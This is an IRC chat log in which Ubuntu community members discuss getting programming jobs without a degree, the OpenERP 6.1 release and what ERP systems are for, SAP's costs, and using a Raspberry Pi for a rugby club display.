[22:02] <monsterwizard> it just worries me that many people require CS
[22:04] <AlanBell> only for graduate recruitment
[22:05] <AlanBell> outside of that it is all about experience
[22:05] <popey> +1
[22:05] <monsterwizard> would open souce count?
[22:06] <monsterwizard> or what if I set up a site or promote a github account?
[22:06]  * mattt prefers spaghettie sauce
[22:06] <monsterwizard> wait
[22:06] <MartijnVdS> monsterwizard: if you can prove you can code (by pointing at open source repos with your name on (parts of) it), that would help
[22:06] <monsterwizard> suppose  HR people wont care
[22:06] <AlanBell> then walk away
[22:07] <AlanBell> recruitment is a two way thing, you have to decide it is a company you want to work for
[22:07] <mattt> to be fair, my company's HR team wouldn't have a clue about github
[22:07] <mattt> but that doesn't mean it's not a good place to work
[22:08] <AlanBell> yeah, that wouldn't come up in an HR interview really
[22:08] <MartijnVdS> mattt: it'd mean you wouldn't get through the first filter thoguh
[22:08] <AlanBell> but HR are normally there to line up the candidates and stop the recruiting managers getting things wrong
[22:09] <mattt> yeah, having an empty CV is kinda tough
[22:09] <monsterwizard> In that case I'l work on a website show casing projects
[22:09] <mattt> i feel you need a friend or connection to line something up for you
[22:09] <mattt> that's how i got started :P
[22:10] <monsterwizard> lol no friends #
[22:10] <Laney> https://wiki.mozilla.org/FreeSoftwareOnResumes:Writing
[22:11]  * Laney made use of the advice here recently
[22:11] <Laney> ;-) ;-)
[22:11] <AlanBell> well if anyone is looking for good things to learn about I would recommend OpenERP, vTiger and Alfresco :)
[22:11] <zleap> what does erp stand for ?
[22:11] <monsterwizard> cheers Laney
[22:12] <AlanBell> Enterprise Resource Planning
[22:12] <zleap> thanks
[22:12] <mattt> jeez, that's pretty precise stuff :/
[22:12] <AlanBell> it is accountancy for money and stock, and everything a business does really
[22:12] <zleap> ah cool
[22:13] <zleap> sounds good
[22:13] <zleap> i guess commercial offerings are very expensive
[22:13] <AlanBell> and version 6.1 was released today http://www.theopensourcerer.com/2012/02/22/how-to-install-openerp-6-1-on-ubuntu-10-04-lts/
[22:13] <AlanBell> zleap: eyewateringly so
[22:13] <zleap> ah]
[22:13] <ali1234> how much does openerp training cost?
[22:13] <zleap> will there be a version for 12.04
[22:14] <AlanBell> zleap: sure, it installs fine on 12.04 (without the werkzuig upgrade)
[22:14] <zleap> ok
[22:15] <AlanBell> ali1234: we got training included with our partner fee, I think it is less than €2,000 for a week on site in Belgium
[22:15] <ali1234> full training takes 10 days
[22:15] <ali1234> 5 "user" and 5 "developer"
[22:16] <ali1234> also why would i become a partner of something that i don't use, don't know how to use, and do even understand what it is supposed to do?
[22:16] <AlanBell> no, I am wrong http://www.eventbrite.com/event/1971959183
[22:16] <daubers> Weeee!!! Hackspace door thing reporting over mqtt :D
[22:16] <AlanBell> yeah, I did the 5 developer days, theopensourcerer did the 5 admin days
[22:16] <ali1234> i'm only one person
[22:17] <AlanBell> you don't need to do the training
[22:17] <ali1234> i thought it might help me to understand what the point of it is
[22:17] <AlanBell> it might do :)
[22:17] <ali1234> i don't know anything about running a business
[22:17] <ali1234> i'm a developer
[22:19] <mattt> you guys are confusing me
[22:19] <mattt> so is there no UK ubuntu global jam?
[22:20] <AlanBell> I thought we might do some online stuff
[22:21] <AlanBell> ali1234: there are books and things on it, I think we have a stack of materials on it if you are interested in finding out more about it
[22:22] <ali1234> i don't want to know about the internals
[22:22] <ali1234> i want to know what it does
[22:22] <ali1234> what is it supposed to replace?
[22:22] <AlanBell> hmm, ok. Gimmie a sec . . .
[22:23] <AlanBell> actually we should expose a 6.1 server
[22:23] <AlanBell> I will put up a demo system and give a bit of a tour at some point soonish
[22:24] <mattt> AlanBell: online stuff would be cool
[22:24] <AlanBell> yeah, having a play with one is so much better than reading marketing drivel about it
[22:24] <ali1234> i've already done that
[22:25] <AlanBell> what, read the drivel?
[22:25] <ali1234> no, played on a demo system
[22:25] <ali1234> the question i'm left with at the end is "what's the point?"
[22:25] <AlanBell> oh ok
[22:25] <mattt> ali1234: "enterprise", man
[22:26] <ali1234> all these enterprise management systems are the same
[22:26] <ali1234> they have modules where you can define things
[22:26] <AlanBell> yup
[22:26] <ali1234> and things contain other things
[22:26] <mattt> ah well, clearly people use them, otherwise alanbell would be in trouble
[22:26]  * daubers makes hot chocolate
[22:26] <ali1234> and there's no obvious point to any of it
[22:26] <AlanBell> so the point is that every business is slightly different, has at least one really odd thing that nobody else does (or so they think)
[22:27] <ali1234> yeah i can agree with that
[22:27] <ali1234> and that one thing ends up as yet another module for the erp
[22:27] <AlanBell> so they scale in an odd way, do orders with 500 line items on them or whatever
[22:28] <ali1234> wait you'll have to explain that
[22:28] <AlanBell> so that becomes a module that gets redistributed if it is generally useful
[22:28] <ali1234> "orders with 500 line items on" why would they do that?
[22:28] <AlanBell> or sometimes what they want is completely loopy
[22:28] <ali1234> the only reason they'd do that is if they were using some complicated software that nobody really understands to do everything
[22:29] <ali1234> if they were just writing invoices by hand, they could put whatever they wanted on them
[22:29] <AlanBell> because someone is purchasing on one order all the lightfittings and assocaiated electricals for a supermarket, office, warehouse and carpark for example
[22:30] <ali1234> i don't understand :(
[22:30] <AlanBell> anyhow, not to get into details, an ERP system requires a certain amount of consultancy on how to fit it into the business and get best value from it
[22:30] <zleap> ali1234, how come we managed to do all this before computers
[22:30] <AlanBell> so which bits to do first, which bits to optimise, which bits really don't matter etc
[22:31] <AlanBell> and then things like custom layouts for invoices, orders, quotes, requests for quotation, tender response documents etc etc
[22:31] <ali1234> so basically the answer to "what is the point" is different for every single person who asks
[22:32] <ali1234> in which case, isn't the software therefore overly broad?
[22:32] <AlanBell> and some people do invoices in landscape, which is a bit nuts, breaks the layout and needs redesigning etc.
[22:32] <diplo-> ali1234, I used to work for an electrical wholesaler, we would get  quotes for huge jobs, so basically you could have a module to import those quotes into it
[22:33] <AlanBell> and then you go back and turn on other modules, and get it integrated into other departments
[22:33] <popey> 22:28:19 < ali1234> "orders with 500 line items on" why would they do that?
[22:33] <popey> greetings card companies
[22:33] <AlanBell> yes, the software is overly broad, it is a jack of all trades
[22:34] <popey> they have orders which have hundreds of line items of 3 of this, 10 of that, 5 of the other
[22:34] <popey> (as an example)
[22:34] <ali1234> popey: ok, that's unavoidable. how can a piece of software help in this situation?
[22:34] <popey> it can track stock
[22:34] <popey> manage delivery times
[22:34] <popey> invoicing, billing, payrol
[22:34] <popey> manage your stock
[22:34] <popey> manage the lorry drivers
[22:35] <popey> deal with your customer complaints
[22:35] <ali1234> how does any of  this reduce the number of lines on the order?
[22:35] <popey> allow customers to make orders themselves, in bulk
[22:35] <popey> perhaps, if automated, yes
[22:35] <popey> if they do automated orders each week for example, and do 'just in time' delivery
[22:35] <popey> (as all the supermarkets do)
[22:35] <popey> the number of items on an order is irrelavent
[22:35] <popey> its just a piece of data
[22:35] <AlanBell> ali1234: it doesn't reduce the number of lines, it just happened to be for one customer the thing that made us say "you do what??"
[22:36] <shauno> reducing lines is easy.  if our frontend is left to itself, it comes up to nearly 20 lines per item (once you include inbound, outbound, service orders that all fit in one PO)
[22:36] <AlanBell> every customer has that thing, it is always different
[22:36] <shauno> well, easy is maybe the wrong word, but certainly automatable
[22:36]  * popey used to work on SAP which is basically proprietary OpenERP
[22:36] <popey> (and then some)
[22:37] <ali1234> but what does it do out of the box?
[22:37] <AlanBell> so for them the transaction cost of doing an invoice was irrelevant, it doesn't matter if you spend half a day preparing an invoice for over £100,000
[22:37] <popey> run your business
[22:37] <popey> produce management reports
[22:37] <AlanBell> for a business with an invoice value of £50 then the transaction cost of processing an invoice matters a lot more
[22:37] <ali1234> (22:17:39) ali1234: i don't know anything about running a business
[22:37] <popey> automate workflow
[22:37] <popey> do you drive?
[22:37] <ali1234> no
[22:38] <popey> do you ever use trains or buses?
[22:38] <ali1234> yeah
[22:38] <AlanBell> analogy police are standing by
[22:38] <popey> ok, so the train company uses an erp system, maybe for example to manage payrol
[22:38] <popey> no analogy, factual ☺
[22:38] <popey> They have hundreds of workers all over the country
[22:38] <popey> all on different pay scales, working different hours
[22:39] <popey> they need a way to track who works when, and pay them the right amount
[22:39] <popey> account for holidays and sick leave
[22:39] <popey> the erp system _can_ do that for example
[22:39] <ali1234> ok so that's ONE thing it does
[22:39] <popey> but that's just one part of thebusiness
[22:39] <popey> yes, exactly
[22:39] <ali1234> what else does it do?
[22:39] <mattt> seriously?  :/
[22:39] <popey> with SAP, anything really ☺
[22:40] <popey> HR, deal with hiring and firing of people
[22:40] <popey> managing the maintanance of trains and stations or buses or whatever
[22:40] <popey> manage the income from parking fees, tickets etc
[22:40] <popey> anything/everything
[22:40] <AlanBell> the trick is to choose what bits to turn on, and not go wild and do everything all at once
[22:40] <popey> exactly
[22:40] <mattt> it says right on the homepage what this thing does
[22:41] <AlanBell> mattt: yeah, but that is marketing :)
[22:41] <popey> Every mid to large company uses an ERP system of some sort
[22:41] <popey> all of them
[22:41] <mattt> AlanBell: i just don't get where this conversation is going :)
[22:41] <AlanBell> it is a framework on which to build an ERP system that fits your business
[22:41] <popey> every oil company uses sap, microsoft use it, ford, ferrari, bmw.. all of them
[22:41] <Daviey> popey carried out an exhaustive survey and discovered this.
[22:41] <popey> I did indeed.
[22:41] <daubers> (vodafone uses sap)
[22:42] <popey> well, i saw the list of customers and it was big
[22:42] <popey> even HMRC and councils use it
[22:42] <popey> and the RNLI sadly
[22:43] <AlanBell> popey: what is the size of the smallest company that SAP would sensibly go in?
[22:44] <popey> they have a small business product that they bought for that end of the market
[22:44] <popey> SAP Business One
[22:45] <popey> but generally it's insanely expensive.
[22:45] <popey> the payrol product license/maintenance cost is part based on per-seat and partly based on ya %age of your payroll bill!
[22:45] <AlanBell> eww
[22:46] <AlanBell> that is . . . I don't even. . .
[22:46] <popey> you also pay extra per developer you have
[22:46] <popey> and which 'engines' you turn on
[22:46] <AlanBell> so what do SAP do with data on payroll bills of all big companies I wonder
[22:47] <popey> and if you flip the switch to enable "extensions" to add functionality, you'll get charged more whether you use it or not
[22:48] <shauno> I kinda hope they cut the rnli a good deal :/
[22:48] <daubers> \o/ extortion rackets
[22:48] <shauno> (I'd be surprised, but stress the word 'hope' :)
[22:48] <AlanBell> so there is a significant market opportunity in the "cheaper than SAP" segment of the ERP space
[22:49] <mattt> i just got some spam from the rnli the other day
[22:49] <mattt> included a fancy sticker, which you can only use if you donate
[22:49] <mattt> :P
[22:49] <zleap> i have heard of SAP
[22:49] <AlanBell> shauno: RNLI are a well funded organisation, their head office is very very big these days
[22:49] <mattt> zleap: good, so you have been in an airport then
[22:49] <zleap> lots of jobs requiring sap skills ears ago
[22:49] <zleap> years
[22:49] <popey> haha mattt
[22:49] <popey> yeah, most european airports ☺
[22:49] <zleap> ah
[22:50] <zleap> hmm
[22:50] <zleap> dunno i saw Redhat running on the highways agency display thing at a service station a few months ago
[22:50] <mattt> really?  where was this
[22:50]  * daubers wonders why popeys sentences seem to end in a with a hat degrees
[22:50] <AlanBell> anyhow, OpenERP is quite good, and thanks to Canonical having the most complicated payroll structure the world has ever seen OpenERP is kinda good at payroll now apparently
[22:50] <zleap> segemore
[22:50] <zleap> running gnome, being a geek i kinda noticed it was gnome,
[22:51] <diplo-> popey, SAP :(
[22:51] <mattt> zleap: really?  that's kind of odd advertising out there
[22:51] <gordonjcp> AlanBell: heh
[22:52] <zleap> well the back end was clearly runningLinux,  and displaying info on the webpage but it had that error thing firefox comes up with when it restarts firefox and can't find the right page, ya know the one that says this is embarrasing
[22:52] <diplo-> Where i used to work, our SAP install was 1-2 mill install, ended being 7 million :/
[22:52] <zleap> thing is i was just passing throughotherwise i could have fixed it by clicking the right option :D
[22:53] <mattt> zleap: oh, i thought you meant red hat was advertising out there, misread that totally :)
[22:53] <zleap> nooo
[22:53] <popey> thats cheap diplo-
[22:53] <zleap> may have been fedora or redhat,  probably the former but heyy,  not running windows
[22:53] <diplo-> If they had spent 2-300k with the company I'm with now, they would have had all the stuff they needed
[22:53] <diplo-> Not for a small company like that
[22:54] <zleap> i have found a really good use for a raspberry PI, the rugby club wanted to hook a pc up to  one of the tvs to display messages, fixtures, news etc,  so the raspberry PI would work great for that
[22:55] <diplo-> zleap, I think that's exactly what they are going to be great for
[22:56] <diplo-> Stuff like that
[22:56] <zleap> yeah
[22:56] <mattt> zleap: if you want to grab rugby results: http://rugby.io/
[22:56] <zleap> well this will be local results
[22:56] <mattt> which reminds me, i need to hurry and get my screen scraper set up for super15 :P
[22:56] <mattt> (starts tomorrow)
[22:56] <zleap> cool
[22:57] <zleap> is that site updated in real time
[22:57] <zleap> i need south west one west results
[22:57] <mattt> not really real time, i scrape once an hour
[22:57] <zleap> which probably won't be real time unless we keep sending in the score
[22:58] <mattt> yep
[22:58] <zleap> I am sure if I have latex + beamer + ssh I can update a presentation in real time using ssh
[22:58] <ali1234> hmm ok, i have to say that openerp is actually a lot less confusing than any of the similar systems i've tried before
[22:59] <zleap> i thought also i f I run openareana-server ont he same PC we can play multi player games at the rugby club :D
[22:59] <zleap> PC i mean raspberry pI
[22:59] <diplo-> ali1234, Start diving into it a bit
[23:00] <diplo-> It gets more confusing :)
[23:00] <diplo-> Good, but confusing
[23:00] <ali1234> i just mean from a UI POV
[23:00]  * zleap has a big big game saturday Devon Cup semi final
[23:00] <diplo-> yeah, I've got to teach it to some very non techie people shortly
[23:00] <ali1234> i mean you can go through the sections and it's just obvious what they do
[23:00] <diplo-> I'm hoping the guys say the same thing
[23:00] <diplo-> Got to demo it to them soon
[23:01] <zleap> I should be able to convince the rugby club to invest in one,  its not as if the raspberry PI is gonna be expensive really
[23:01] <AlanBell> from a programming perspective it is a bit like django but more focussed and less flexible.
[23:02] <diplo-> Not looked at that side at all yet, back on it this weekend
[23:02] <AlanBell> less flexible isn't a bad thing, it is the same as more consistent
[23:02] <diplo-> Getting my PC back off my parents and will set up a VM on it so i don't have to keep bringing my work laptop home
[23:02] <ali1234> django is too flexible
[23:02] <gordonjcp> AlanBell: what, openerp?
[23:02] <AlanBell> gordonjcp: yes. well no. The OpenObject framework.
[23:02] <AlanBell> which is what openERP is written in
[23:02] <gordonjcp> oh, okay
[23:03] <gordonjcp> spike that on the pile of yet more things to play with when I get time..
[23:04] <dogmatic69> when downloading .exe's and running them on wine. Is it possible to get windows viruses?
[23:04] <ali1234> sure
[23:07] <AlanBell> wine must be pretty good by now
[23:07] <bigcalm> Sleeeeeeeeep
[23:19] <diplo-> gn all